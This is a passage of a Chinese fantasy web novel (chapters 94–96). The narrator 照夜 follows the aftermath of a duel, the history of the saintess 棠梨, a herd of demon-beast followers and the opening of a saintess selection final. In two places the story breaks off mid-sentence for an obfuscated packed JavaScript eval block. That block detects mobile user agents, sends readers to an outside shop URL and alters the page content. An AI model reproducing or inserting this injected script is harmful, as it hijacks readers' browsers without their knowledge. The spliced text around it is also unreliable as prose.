不是简单的撞击声,而是面骨与颧骨在恐怖巨力下瞬间扭曲、塌陷、爆裂的、令人头皮发麻的闷雷炸响!星允在最后关头勉强凝起的护体仙光,如同脆弱的琉璃般应声粉碎!他整个人如同被无形巨锤抡中的破布袋,被向后猛抛出去,一口混杂着内脏碎块的鲜血狂喷而出,在空中划出一道凄厉刺目的血虹! “嗖——!” 一道黑影以惊人的速度掠过——是溟牙!他如蛇影般迅捷无比,抢在星允二次重摔之前,险险将其接住,随即轻巧落地。 而大铁棘,依旧矗立在原地,如同钉入岩石的染血丰碑。他胸膛剧烈起伏,每一次喘息都喷吐出灼热的白气,蒸腾着尚未散尽的酒火余温。那双几乎报废、兀自滴落着滚烫鲜血的拳头,无力地垂在身侧,血珠砸在焦黑的地面上,一片刺目的红。 宏音的身影已如疾风般掠至,就在大铁棘如山的身躯因力竭与重伤开始摇晃、即将轰然倒地的刹那,稳稳地撑住了他。 苦修崖顶,重归死寂。唯有永不止息的狂风呜咽,与极远处天涧瀑布那亘古不变的轰鸣,无声地见证着这场短暂、惨烈却又酣畅淋漓的对决。 “还算精彩,值得浪费些时辰观赏。”渊寂的声音打破了寂静,他唇角噙着一丝淡到极致的笑意,目光扫过狼藉的战场,最终落在我身上,“如何,照夜?你们赢了。” 我仍沉浸在方才那电光石火、却又仿佛被无限拉长的惨烈景象中,心脏在胸腔里狂跳未歇。几乎是无意识地,我避开了渊寂投来的目光,身体僵直地等着他一步步走近,却连一根手指都无法挪动。 这个人周身仿佛萦绕着一种无形的、令人本能颤栗的力场,无关仙威,而是更深邃、更原始的掌控与威慑。 “多谢帝君成全。”我努力从干涩的喉咙里挤出声音。 此时此刻,这片空旷寂寥的崖顶,仿佛只剩下我和他二人。他依旧负手而立,微微俯视着我,嗓音温和依旧,说出的字句却透着冰川般的寒意,“照夜,你体内仙丹之力,若任其闲置蒙尘,实在可惜。”他顿了顿,仿佛在斟酌词句,“但吾亦不赞同星允那等鲁莽行径——逼你强行共鸣?呵,好好一块天成熠石,听话温养便是,又何须急不可耐,将其生生钉死在法器之上?你说是么,照夜。” 我心头一凛,垂下眼睫,“……多谢帝君主持公道。” “罢了。”渊寂挥袖,目光投向被溟牙与宏音分别护住的两人,“星允与大铁棘皆重伤,需时日将养。如今怪物复苏之象频现,人界政局暗流汹涌,仙人之中堪用之才本就不多。即便理念偶有龃龉,也该顾全大局,暂置私怨。毕竟,共面大敌,同心协力,方是首要。” 这番话,着实有些出乎我的意料。听其意,渊寂似乎确有意对抗膣藟之灾,甚至已遣人着力清剿化西、天翮的怪物卵壳。那么当初在玉山一事上的拖延与疑阵,或许真如他所言,是为了逼迫人界兑现承诺,以三城为 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不知为何,一股若隐若现的寒意悄然缠绕上我心头,挥之不去。 “帝君的意思,再清晰不过了。”瑶扇仙人的声音忽然在我身侧响起,她施施然走近,素净的脸上带着一抹难以捉摸的、近乎古怪的笑意,“他想收你为座下第八弟子,可别不识抬举。”她目光在我脸上流转,仿佛在评估一件物品,“你便是素雪口中,那个与她夫君……纠缠不清的青莲山女弟子?哦,错了,是曾经的青莲山女弟子。” 这时,一直被闷在青莲瓶中、终于得以“重见天日”的尾巴,立刻蹦跳到我肩头,光晕朝着瑶扇的方向轻轻探了探,随即点评道,“哇哦……是‘姐妹团’的气息。” “我不是青莲山的弟子,”我定了定神,迎上瑶扇审视的目光,认真纠正道,“严格来说,我和小青是师兄妹。” “……师兄妹?”瑶扇眉梢微挑,露出明显的困惑。这很正常,毕竟穆青是举世皆知的无师自通、自修成仙者。 “对呀,”我点点头,一本正经地胡说八道,“我和小青还是凡人的时候,拜了村口刘大嘴为师,学了几天厨艺。他年长些,自然是我师兄。” 瑶扇盯着我看了两眼,最终翻了个毫不掩饰的白眼,丢下一句“不知所云”,便不再多言,径直离开了这片仍弥漫着焦灼与血腥气的苦修崖。 此刻,仙军的随军医师已用疗愈仙力将昏迷的星允与力竭重伤的大铁棘分别包裹、固定,小心安置于飞兽背上,准备撤离。我见状,连忙小跑到宏音身边,生怕被落下,得靠两条腿走回去。 “走吧,”宏音自然地牵起我的手,掌心传来令人安心的温热,“回家,照夜。” 我被宏音拉着,目光却瞥向一旁脸色依旧苍白、眉头紧锁的溟牙,忽得想起一事,顺口道,“对了,你的那条黑脊蛇钻到地底冬眠去了。” “啧,”溟牙厌烦地扯了扯嘴角,声音因虚弱而有些发飘,“冷飕飕,湿乎乎,真叫人喜欢不起来。天翮城原本四季如春,如今却成了这副鬼样子。”他顿了顿,却又别扭地补充一句,“不过必是湿冷,我更讨厌干热。” 我小声嘟囔,“毛病真多……谁关心你喜欢什么。” 溟牙闻言,阴阳怪气地斜睨了宏音一眼,冷哼道,“疏于管教,便是你这当‘爹’的不称职了。” 尾巴此刻在我肩头乐得光晕乱颤,他轻轻捏了捏我的耳垂道,“这下可好,全天下都知道——照夜你多了个爹!” 宏音对这番嘲讽恍若未闻,只是微笑着,看向溟牙的目光却带着一丝不容错辨的“关切”,“既有力气说这些闲话,不如赶紧去桃夭医馆,多服两剂药,镇痛安神,方是正理。” 回去的路上,宏音竟又开始与尾巴隔空对弈起那无声的“盲棋”。昨夜我彻夜未眠,今日又历经高度紧张的观战,心神损耗极大,此刻那些我半懂不懂的棋步术语夹杂在飞兽振翅的风声中,如同最有效的催眠曲,听得我眼皮沉重如铅,上下打架。 最终,我竟一路昏昏沉沉地睡了过去,再醒来时,飞兽已平稳落地,窗外天色早已黢黑如墨。 95. 第95章 棠梨往事;妖兽粉丝团 今天我是真的一点儿也蹦跶不起来了,浑身的骨头像是被拆过一遍。瘫在柔软的床榻上,我连手指都懒得动,只能任由宏音如常来支付“酬劳”。 然而今夜,却有些反常。宏音顺利支付了酬劳后,就坐在床边,絮絮叨叨给我讲起了往事。 我也因此在即将入梦时,得知了更多有关棠梨的故事。 棠梨,是羽婆在天涧那道万年寒瀑之下捡回来的。 棠梨因受刺骨的瀑流日夜冲刷,寒气早已侵髓蚀骨。她在很小的时候,便永远失去了生育的可能。当时的月终甚至带着一种残酷的天真玩笑道:看,这岂不是天生的信女圣体?然而,时任守月司的羽婆与聆月使宏音,并未打算将棠梨送入月教司,成为一个普通的信女。 因天翮族的圣女断代了,是啊,在棠梨之前,圣女之位已断代近百年。信仰的支柱摇摇欲坠,人心如沙四散。归德、化西二城暗生异心,蠢蠢欲动,试图挣脱天翮的统御,甚至觊觎着那传说中未曾解密的古老宝藏。 彼时天翮虽已归附人界,却由当时的人君舒贤准以高度自治,得以治理玉山南三城。眼见三城不睦,族内再生内讧,宏音便提出了“培养圣女”的法子。 是啊,既然真正的圣女无法诞生,那便人为创造一个出来! 横竖,天翮城需要的只是一个能凝聚族人、可供操控的“月翮圣女”之名与象征。 月翮圣女棠梨便是这样被创造了出来,她从小被培养、被规束、被寄予厚望、被身边这些口口声声爱她的人裹挟着、强推着,懵懵懂懂被操纵着成为了天翮族人给予厚望的圣女。 棠梨自己是清楚的。她深知自己并无圣女应有的超凡之力,作为一个普通人,她无力庇佑天翮族渡过那隐约显现的膣藟之灾。于是,她做出了选择——嫁给舒仲,为人君之妻,为天翮寻求人界最有力的庇护与支持。 又或许……嫁给舒仲,是棠梨那被规划好的一生中,屈指可数的、完全属于她自己的决定。 棠梨,便是如此度过了她那看似尊荣、实则身不由己的一生。 我听着宏音在昏暗月光下,以一种近乎忏悔的平静语调,缓缓剥开这残酷的真相。也听着蜷缩在我胸前、安静了许久的尾巴,发出了一声极轻极轻的、仿佛叹息的颤动。 最终,咸涩的温热毫无征兆地涌出眼眶,顺着我的眼角滑入鬓发。我就这样,在自己也未曾预料到的眼泪中,沉沉睡去。 这世间,真有纯粹无垢的爱吗?月终、羽婆、宏音,还有那些仰望棠梨的族人们……他们所爱的,究竟是“棠梨”这个活生生的、会笑会痛的女子,还是那个被他们亲手塑造、寄托了全部信仰与利益的“月翮圣女”。 我依旧未能坠入那片能遇见青衣少年的虚境。说来心态有些难以名状,我渴望向他倾诉这满心的困惑与沉郁,也隐隐期盼着,能从他那里获得一丝半点的指引或慰藉。 毕竟,那个自称煌木的少年,可是给穆青开了不少小灶。 然而,梦里什么都没有,唯有尾巴均匀的呼吸声。 月翮圣女选拔决赛前两日,仙界出了一桩颇引人议论的事。 玄珠首席星允上仙在苦修崖与散仙大铁棘的“公平对决”中落败,此事传开后,他在仙界“口碑榜”上的排名一落千丈,直跌至八十余位。而大铁棘则凭借此战声名鹊起,排名首次闯入前十,成了当下炙手可热的新晋“热门仙人”。 这些消息,我是从谷阿翁那儿听来的——没错,他们回来了。 说老实话,我对排名升降并不在意,毕竟眼前另有更令人头大的麻烦。 天翮城西,靠近那险恶“死人沟”的一处山谷里,我见到了依旧散发着难以言喻气味的小狗焉耆、手舞足蹈急于分享“爆炸新闻”的谷阿翁、一脸生无可恋仿佛被掏空了的死人沟资深向导游山、焉耆忠心耿耿的“指定仆人”船老大浩哥,神气活现、就差把“得意”二字写在脸上的刀疤男阿烈。 以及——一大群形态各异、大小不一、正发出持续不断“叽里咕噜”、“嗷呜哞哞”古怪鸣叫的飞禽走兽!它们挤满了半个山谷,羽毛斑斓,鳞甲反光,獠牙利爪在阴沉的天光下隐约可见,空气中弥漫着浓郁的、属于荒野与妖兽的腥膻气息。 我的个乖乖!万万没想到,焉耆他们去死人沟采集闪光稻,原想以此操纵圣女选票,完成“本职工作”后,他们竟在沟里搞出了更大的动静——不仅平息了妖兽之间因繁衍引发的地盘纠纷,还顺道……收编了一大群狂热崇拜魔皇、心心念念想成为魔皇陛下第二十八号(及往后)坐骑的妖兽“粉丝团”! “嘿嘿,事情就是这样,大姐头!”阿烈神气活现地拍拍我的肩,挨个儿给我介绍起那些奇形怪状、眼神却莫名透着点“期盼”的追随者们,“焉耆现在可是死人沟名副其实的‘王’了!这些家伙,都是自愿跟来‘朝圣’的!” 谷阿翁在一旁搓着手,嘿嘿笑着补充,“这也是无奈之举……魔皇陛下近来都在长渊深处静修,许久不外出狩猎,坐骑编号便一直停留在二十七。这些妖兽仰慕魔皇陛下威仪,自然都想……走走关系,混个编号。虽说平日里陛下未必用得上它们,但——嘿嘿,有个名分,它们也好在同类间炫耀嘛!” 一旁的游山,那副无语、震惊又茫然的复杂表情,简直与我如出一辙。他显然没料到,自己这趟本只是当个向导,结果却稀里糊涂,把这些在死人沟里称王称霸的妖兽们,给“导”回了理论上属于仙界管辖的地盘上。 若被巡弋的仙军瞧见这阵仗,怕不是要以为妖兽暴动,准备攻城了! 而事实上,仙军这就来了。 远处天际,银光闪动,肃杀之气扑面而来。一队队甲胄森严的仙军如临大敌,迅速在空中布下阵势,锋锐的兵戈与凝聚的仙力遥遥指向山谷中这黑压压、乱哄哄的一大片。 我只觉头皮发麻,别无他法,只能火速赶回城里搬救兵——向宏音求援。 自苦修崖一战后,渊寂曾命我随侍“学习”,但奇怪的是他好像把这茬搞忘了,并没召我前去。 事实上也不是搞忘了,而是渊寂另有他事忙,魔界国师原途到达,他们有要事商议。 我被仙军押送到了瑶扇城上,等候片刻后,终于等到了召见。 瑶扇城,万林苑,栽种了大量芬芳馥郁的花,哪怕是寒露重霜,也不见凋谢。 这是我头一次见到魔界那位代掌权柄的国师,原途。他是环琛与泉礼的长兄,容貌俊秀自不必说,但那份极致的皮相之美,在他周身沉静渊深的气度衬托下,反而成了最不值一提的优点。能得魔皇信任,代为执掌魔界的,绝非等闲。 我依礼参拜,偷眼打量。渊寂正听着仙将禀报“数百妖兽逼近天翮城”的紧急军情,而他身旁的原途,目光则毫不掩饰地、带着几分探究与兴味,落在我身上。 而我,正忙不迭地朝一同被召来的宏音使眼色,眉毛眼睛几乎都要挤到一处,希望他能领悟我此刻无法宣之于口的焦急恳求:快想想办法! “照夜,”渊寂听罢禀报,目光转向我,声音听不出喜怒,“临近圣女决赛,速去摆平自己惹出的祸端。” 渊寂话音未落,宏音已上前一步,拱手道,“帝君,是我管教无方,照夜年轻小,才惹出这么大乱子。我请同往处置,恳请帝君准允。” 一旁的魔界国师原途闻言,面上露出一丝恰到好处的疑惑,眼神在我与宏音之间逡巡片刻,方缓缓开口,“宏音大人,你的爱好,倒是颇为特别。” 渊寂听了,竟也只是微微一笑,并未多言,算是默许了宏音的请求。 一出万林苑,宏音便握住我的手快步疾行,直到登上飞兽、远离了瑶扇城的范围,他才似乎卸下了某种无形的压力,沉沉舒了口气,“别怕,并非什么了不得的大事,别怕。” 说实在的,我倒不是害怕,更多是感到一种深切的疲惫与烦乱。不知为何,自从踏足天翮城,我总觉身心俱疲,仿佛正事毫无寸进,反倒被层出不穷的琐事杂务缠得脱不开身。 见我神色郁郁,宏音侧头问道,“怎么了?看上去闷闷不乐。” “哎……”我长长叹了口气,“平日里我多半是那个躺着等赢的角色,这几日却像个被抽打的陀螺,转得停不下来。” 宏音闻言,竟“噗嗤”一声轻笑出来,“若我没记错,这几日你大半时光……都在睡大觉吧,照夜。” “话说回来,”我望着下方逐渐清晰的山峦轮廓,转移了话题,“马上就是决赛了……你对那位‘叛徒’,依旧打算置之不理么?” 飞兽的翅膀拍打声在夜色中格外清晰。宏音沉默 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17549561|204291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了片刻,才用透着一丝冷意的声音道,“她暗中操纵、利用月泉司高价回购作为参赛凭证的月信石挂坠,又设置了令人却步的赎回价码,无非是想阻断选拔进程。只是……此举反倒正中灵璧城下怀。若最终选不出圣女,天翮城便会如化西一般,被仙界名正言顺地收回直辖。” “……是月终,对么?”我轻声问。 宏音眼中流露出哀伤,即便他们相识相知百年了,却依旧看不透对方的心,又或者是看着昔日亲密无间之人与自己渐行渐远,而生出一丝悲凉。 “宏音,”我望着男人映着黯淡星光的侧脸,忍不住问,“你究竟在坚持什么?” 似乎没料到我会问得如此直接,宏音嘴角牵起一抹近乎自嘲的苦笑,目光投向远方无尽的夜色,“我不知道,照夜。或许只是麻木地、机械地守着一片早已枯死的、再也不会焕发生机的废墟,直到……死去。” 此时,夜色已完全笼罩大地。天翮城璀璨的万家灯火与高空瑶扇城温润的莹光遥相辉映,而丛林里,上百双形态各异、颜色不同的眼睛,正齐齐聚焦在我们身上——闪烁着好奇、期盼,或是野性的光芒。 其中,也包括焉耆那对熟悉的、幽绿色的狡黠小眼。 趁我去求援的功夫,尾巴已经高效地完成了对这些“追随者”的初步统计与“资质评估”。天色太暗,焉耆便指挥一种名叫“灯牛”的敦实妖兽,点亮它额前硕大的发光囊泡来照明。 灯亮起的瞬间—— “闭眼!”宏音反应极快,一把捂住我的眼睛。 然而已经晚了半拍。 “哞——!!!” “嗷呜——!” “吱嘎——!” 一片混乱的哀嚎与惊呼骤然爆发!那灯牛额前的光芒并非徐徐亮起,而是如同憋了许久的闷雷般骤然爆闪!刺目的白光瞬间吞噬了林间空地,不仅那群妖兽被闪得东倒西歪、惨叫连连,连不远处负责监视的仙军队伍中,也传来压抑不住的惊呼与骚动。 好一会儿,那狂暴的光芒才逐渐稳定下来,化作一团相对柔和、却依旧亮得惊人的光球,勉强照亮了这片狼藉的林间空地。 “噗……哈哈哈!”尾巴在我头顶笑得乱颤,“笑死我了照夜!这些傻大个儿根本不知道,钩星那家伙是个彻头彻尾的‘颜控’!不够威武、不够神骏、或者长得太抽象的,钩星连瞧都懒得瞧一眼!要我说,趁早劝它们各回各家、各找各妈算了!” 我把这幸灾乐祸的家伙从头上抓下来,捏在手里,没好气地嗔道,“我都快烦死了,你倒还有心思在这儿看热闹!” 那头,宏音已主动承担起“善后大使”的职责,带着焉耆,开始耐心地——劝退这群满腔热血却可能投错庙门的妖兽“粉丝”。而谷阿翁、游山、阿烈和浩哥,则被宏音不由分说地“赶”回了住处,免得人多添乱。 我独自寻了棵老树,靠着粗糙的树干坐下,长长吐出一口郁结的浊气,试图理清心中那团乱麻。 “愁眉苦脸的做什么?”尾巴溜到我膝上,光晕柔和地拂过我的手指,“有宏音在那儿替你‘擦屁股’,还有什么可担心的?” 我轻轻捏了捏尾巴柔软的光晕身躯,将先前与宏音的对话,低声细说了一遍。 听罢,尾巴安静了片刻,才轻声道,“有时候,在一条路上走得太久、太专注……就会渐渐忘了自己最初为何出发,又想去往何方。” “是啊,”我望着不远处正耐心与一头体型庞大的犀状妖兽耐心交谈的宏音。他的背影在妖兽群中显得并不高大,却透着一股磐石般的固执与孤寂,“哪怕自己还能坚持信念一路走下去,也可能会面临同伴离散、甚至……倒戈相向。” 我收回目光,低头看向膝上这团温暖的光,“尾巴……你说,我们也会有离心离德的那一天吗?” 尾巴发出一阵极轻的、仿佛涟漪荡漾般的笑声。他轻盈地攀上我的脸颊,用带着我们共同沾染的、清甜的月羽花香气,温柔地贴了贴我的嘴唇,“如果有一天你背叛我,我就把你八岁了还尿裤子的小秘密——刻满三界的每一块石头。” 明明是一句幼稚的“威胁”,我却觉得眼眶一热,险些笑出泪来。我用力抱紧这团温暖的光,将脸埋进那柔和的光晕里,闷声笑道,“好!那便……一言为定!” 96. 第96章 负责“擦屁股”的钩星 当夜,焉耆趁我睡熟,悄无声息地拱开我的手臂,钻进了我怀里。于是乎,便只剩下宏音一人,对着那片叽叽喳喳、眼巴巴的妖兽群,开始作漫长的“思想工作”。说来也奇,他分明不通妖兽的语言,可那些大家伙竟能听懂他的意思,沟通起来毫无滞碍。 臭烘烘的小狗焉耆,虽还是只没长大的小崽子,却已能号令魔界的妖兽。真不敢想象它的先祖该是何等强大——毕竟是太初僊的坐骑,一定是这三界中,最厉害的。 圣女选拔决赛前一日正午,经过宏音不眠不休的“劝导”,妖兽们终于决定启程返回死人沟。我好奇他究竟用了什么法子,能让这群执拗的家伙乖乖听话。 宏音只是轻描淡写地说,“暂列为后备役,待魔皇出关,再行选拔。只不过,”他顿了顿,补充道,“选拔地点定在映山都,而非天翮城。” 我顿时瞠目结舌,“啊?你、你居然把擦屁股的活儿推给了钩星?!你不怕他出关后,瞧见哭月台上挤满了一百零八只奇形怪状、嗷嗷待‘选’的妖兽,一怒之下杀来找你算账?!” 宏音揉了揉疲惫的眉心,嘴角竟勾起一抹罕见的、带着点顽劣的坏笑,顺手捏了捏我的肩,“等原途返程时,你给魔皇写封信,请他代为转交。记住——要写得无辜些、可怜些。如此,魔皇便不会追究。”他眼中闪过一丝狡黠,“又或许……他看顺眼了哪个,顺手留下也说不定。” 不等我接话,宏音瞥了一眼正陆陆续续散入林间的妖兽们,又无奈地摇了摇头,“算了,估计一个也入不了他的眼。” 说罢,宏音弯腰抱起脚边蹲坐的焉耆,将它举到眼前,望进那双幽绿澄澈的眸子,语重心长道,“身为‘王’,怀仁心是好的,但也需懂得强硬与坚持,方能真正御下。往后,不可再来者不拒、全盘收容。需记得……甄选。” 焉耆听罢,仰头“嗷呜”了一声,随即灵巧地挣脱宏音的怀抱,“嗖”地窜进了密林深处,不见了踪影。 我忙问尾巴,“焉耆刚才‘嗷呜’了什么?” 尾巴在我肩头笑得光晕直颤,“焉耆说——‘你的教诲老子听到了,后会有期’!” 真是令人无语。 回城的路上,宏音向我解释了他为何对这群妖兽如此耐心。缘由竟出乎意料的简单——为了照顾焉耆那小小的自尊,不在它的“追随者”面前,折了它这位“王”的颜面。 我不由摇头感叹,宏音这份细致入微的体贴,当真令人拜服。 送我回到聆音石府,宏音片刻未歇,转身便去张罗明日的决赛事宜。此次决赛将在瑶扇城上举行,城中百姓可通过广场上的云雾屏观看盛况。而那些有头有脸的人物,则可花费五万利衡币购得一张贵宾票,亲临扇城观礼——尽管比起瞻仰圣女,他们或许更想一睹仙帝真容。当然,每位参赛者还额外获赠五张亲友票,使得像我这样的家属得以在最近的距离,见证新一任月翮圣女的诞生。 这天,待我早已撑不住沉入梦乡时,一直忙到深夜的宏音才带着一身夜露寒气归来。如常支付了那个带着凉意的晚安吻作为“报酬”后,他却并未立刻离开。 昏暗的灯火在他侧脸投下柔和的阴影。他就那么静静坐在床沿,目光长久地落在我脸上,那眼神复杂得让我有些不知所措。 “明日……穿我送你的那身衣裳。”宏音的声音比平时更轻,带着一丝不易察觉的紧绷,“毕竟是重要的日子,该打扮得漂亮些。” 我困得厉害,只含糊地“嗯”了一声,试图蒙混过去。宏音却伸手,轻轻将我晃醒,俯身再次认真叮嘱,“听话,照夜。” “知道了知道了……”我嘟囔着把脸埋进枕头,“这种小事真不用你操心。小青都没这么唠叨过。” “小青”二字似乎触动了什么。宏音眉头几不可察地一蹙,犹豫片刻,还是低声问道,“照夜,这些时日仙帝可曾……提过青莲?” 我心中一凛,睡意顿时散了大半,连忙摆手,“没、没有!”话出口我才觉不妥,赶紧掩饰住那点心虚。我自然不敢在渊寂面前提及穆青,每每对方话锋稍转,我都急着岔开话题,生怕扰了穆青在源涡池的“大计”。 “……罢了。”宏音看着我慌乱的模样,终是没再追问。他替我掖好被角,声音沉静下去,“睡吧。晚安,照夜。” 然而今夜的宏音,确实有些反常。他向我支付了两个晚安吻作为“酬劳”。 带着一丝哀伤的味道。 ----------------------------------------------------------------------- 天翮城,这座一心想要触摸月亮的古老城邦,终于迎来了它久违的最大盛典。即便这片土地之下依旧沉睡着企图吞噬万千生灵的可怖怪物,即便惊惶与绝望的阴影从未真正散去,但此刻,这种情绪似乎都被暂时隔绝在了庆典的华光之外,未能浸染人们脸上真切绽放的笑容。 在天翮军的护送下,我早早便来到了瑶扇城。正在浮空花园的玉栏边眺望云海,我远远便看见了谷阿翁与游山二人朝这边走来。 “哎呀呀!”谷阿翁还未走近,赞叹声已先飘了过来,“瞧瞧这是谁?今日的照夜何止是‘照夜’,怕是要改叫‘照日’了!这身衣裳……啧啧,光华内蕴,行走间如披星霞,美得叫人挪不开眼哪!”他将我好一番夸赞,不等我嘴角扬起,话锋却拐了个弯,滑向奇怪的方向,“这模样若叫魔皇陛下瞧见了,定也是要狠狠夸你的。” “少来这套恭维。”我笑着摇头,转而问道,“对了,原途大人何时得空?我有事想拜托他。” “哎,别提了。”谷阿翁连连摆手,露出头疼的表情,“原途大人知晓环琛也跑来参赛,正一肚子气没处发呢。好在环琛那丫头也就是凑个热闹,铁定选不上,只当是来散心了。” 一旁的游山见缝插针地打岔,“庆典我就不多看了。最近取道死人沟的商队扎堆,我忙着带路挣钱去。有事……再招呼我。”说罢,这位向导便干脆利落地转身,消失在流光溢彩的廊柱间。 谷阿翁望着游山离去,这才低声向我解释,“修建连通两界隧道的事儿,这几日正在商议。仙帝亲临,本也有意借此机会,与魔界缓和关系。毕竟如今两界经由天翮城接壤,总延续百年前的恩怨也没意思。毕竟上一代的仙帝与魔皇都已故去,三界……也该有点新气象了。” 我不禁暗自感慨。仙、魔、人三界的关系,似乎总是在一种微妙的平衡上摇摆,时而剑拔弩张,时而又蜜里调油,反反复复,一直如此。 “对了,”谷阿翁想起什么,凑近我压低声音,“最近听一些取道魔界过来的商队提起,月下州那边气氛紧张得很,各个城邦盘查森严。照夜你啊,便是办完了这里的事,也先别急着回去。”他顿了顿,脸上绽开一个熟悉的、带着点怂恿意味的笑容,“要不……随我回映山都住些时日?保管比哪儿都自在。” 我没好气地嘟囔,“我才不去呢。我这儿还有件大事要办。” “哟!大姐头!”一个洪亮的声音插了进来。只见阿烈与浩哥二人也寻了过来,难得二人都换上了一身体面的新衣,头发梳得一丝不苟。阿烈眼睛一亮,夸张地上下打量我,“哇!今天大姐头你也太……太那个了吧!整个人简直在发光啊!” 我一问才知,他们这趟死人沟之行,秉承“走过路过绝不放过”的原则,见啥捡啥,一堆破烂里还真扒拉出几件值钱的古物残件。紧急变卖后,便咬牙置办了这身行头,美其名曰:身为“月翮圣女”的“家属”,绝对不能丢人现眼。 我低头看了看自己身上这套由宏音精心准备的华服,暗自庆幸,今日这番打扮,总算也没给盛放丢人。我又瞥一眼最害怕丢人的浩哥,他似乎从未穿过如此板正的衣服,浑身透着不自在,脸上却堆满了化不开的、憨实又自豪的笑意。 不等我们几人聚在一起闲聊片刻,远处传来了悠扬的钟磬之声,标志着庆典即将正式开始。 我的席位在贵宾区,位置更靠前些。正觉得无聊四处转悠,便又撞见了几个熟人——桃夭、无悔,以及……呃,被牢牢固定在一块床板上、裹得像个硕大粽子、只露出一双炯炯眼睛在外面的大铁棘? “你这个没良心的小胖妞!”无悔眼尖,一把拽住我的衣袖便开始数落,“这都多少天了,也不说来医馆探望探望我们!我还想仔细听听,那日你是怎么……咳咳,我是说大铁棘是怎么把星允按在地上狠狠教训的细节呢!” “谁叫你自己不去观战?”我甩开无悔的手,“偷偷站远些看,又没人会发现。” 话音刚落,一旁的桃夭脸色便是一沉,冷哼一声接口道,“若非有十足把握,最好不要在无力挑战真凶时,贸然对上其爪牙。免得出师未捷,身先死。” 我顿了顿,凑近桃夭,压低声音问,“今天……渊寂可就坐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17549562|204291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在上面。你们不还是来了?” 这时,床板上传来一阵“呜呜嗯嗯”的含糊声响。我凑到大铁棘脑袋边,努力分辨了半天,一个字也没听清。无悔叹了口气解释道,“那日血战,星允的‘糖稀’有少许溅进了他嘴里……舌头受了些灼伤,暂时说不了话,得养一阵子。” “光是渊寂座下的一条恶犬,便已让我们付出如此代价……”桃夭的神色晦暗下去,声音里浸着一丝冰冷的恨意与无力,“还不知,真正要找的那人……又该如何对付。罢了,急也急不来。”她抬了抬下巴,恢复那副傲然模样,“今日来此,也是不得已。我桃夭医馆在天翮城也算一方势力,这贵宾待遇,倒也配得上。” 无悔在一旁露出看好戏的表情,凑到我耳边,用气声飞快嘀咕,“其实……也是好奇,这新一代圣女,究竟会花落谁家。” “那还用说!”我立刻挺直腰板,“必须是盛放!” 无悔却瘪了瘪嘴,刚想再说什么,便被桃夭一记眼刀给瞪了回去。我满心狐疑,正想追问,汀汀便小跑着过来,说宏音正在万林苑那边寻我。 万林苑中,宏音将我召至身前,目光先是在我身上这套衣裙仔细流连了片刻,才微微一笑,“还算听话。这样……很好看。” 一旁的原途却黑着一张脸,显然是从谷阿翁那儿逼问出了一些流传不广、却关乎照夜我的“重要事迹”。他此刻语气硬邦邦的,带着毫不掩饰的质疑,“我不信。如今的魔皇陛下,还会对你这么痴迷。” “现在的我怎么了?!”我一听话题又拐到钩星身上,顿时没好气,“再说,谁要他痴迷了?我才不稀罕!” 宏音此刻倒摆出了一副悠闲看戏的姿态,不紧不慢地插话,“魔皇陛下还年少,潜心修行,无暇顾及私事也是常理。不过你们这些做臣子的……操的心,是否有些太‘过’了?” 原途像是被踩了尾巴,咬牙切齿道,“每每传讯至长渊,陛下多半是只读不回!起初谷阿翁提议,凡紧要奏报,前缀加上‘照夜’之名,或可得到回应,我还不信!谁曾想——但凡署有‘照夜’二字的讯息,陛下皆是第一时间回复!可想而知,有些传闻,怕是不得不信!” 这段时间我本就憋着一肚子窝囊气,此刻什么礼节教养统统抛到九霄云外,瞪着原途便顶了回去,“魔皇陛下许是在敲打你们这些臣下,自己多动脑筋、多动手!别事事都去烦他!他不忙吗?!又要修炼,又要……呃,被催生,还要读你们这帮笨蛋呈上来的所谓‘要情’!他钩星又没长出八只手八只眼!” 说到激动处,我音量不自觉地拔高,“是!如今我是胖了一圈又一圈,减肥无望了!钩星可能不会再像以前那样喜欢我!但——别忘了!环琛现在跟我胖得不相上下!换句话说,钩星就算不再喜欢我,也绝无可能转头就喜欢上环琛!你们这些当哥哥的,也不必再处心积虑,瞎操心魔皇的私事了!” 难得见到有人被我气得脖颈到耳根一片通红。反倒是一向严肃克制的宏音,此刻竟捧着肚子,笑得几乎直不起腰来。 半晌,宏音才勉强止住笑,擦了擦眼角,伸手拍了拍原途紧绷的肩膀,语气里满是抑不住的笑意,“原途大人,容我总结一下。好消息是,环琛姑娘绝无可能当选圣女,您不必忧心此事;坏消息是,环琛姑娘,怕是也入不了魔皇陛下的眼了。哈哈哈——” “好……好!好!”原途连说三个“好”字,气得指尖都在微微发颤,“等今日决赛结束,咱们找个僻静地方,好好‘辩’上一场!照夜!还有你,宏音!给我等着!” 气急败坏的原途撂下战书,猛地一拂衣袖,转身大步离去,那张俊脸直到消失在人影中,都没能褪去半分红晕。 宏音望着原途气冲冲的背影,摇头失笑,伸手轻轻揉了揉我的后脑勺,那动作带着些许感慨,又有些许纵容,“去吧,”他声音温和下来,“庆典……马上就要开始了。” 我攥住宏音的衣袖,略思考片刻,悄声道,“等圣女选出来后,我有一件大事与你商量。” 宏音苦笑一声,捏了下我的肩,颔首道“……嗯。” 仙历三四二零年,春末。天翮族月翮圣女选拔决赛,于高悬云端的瑶扇移城之上,正式举行。 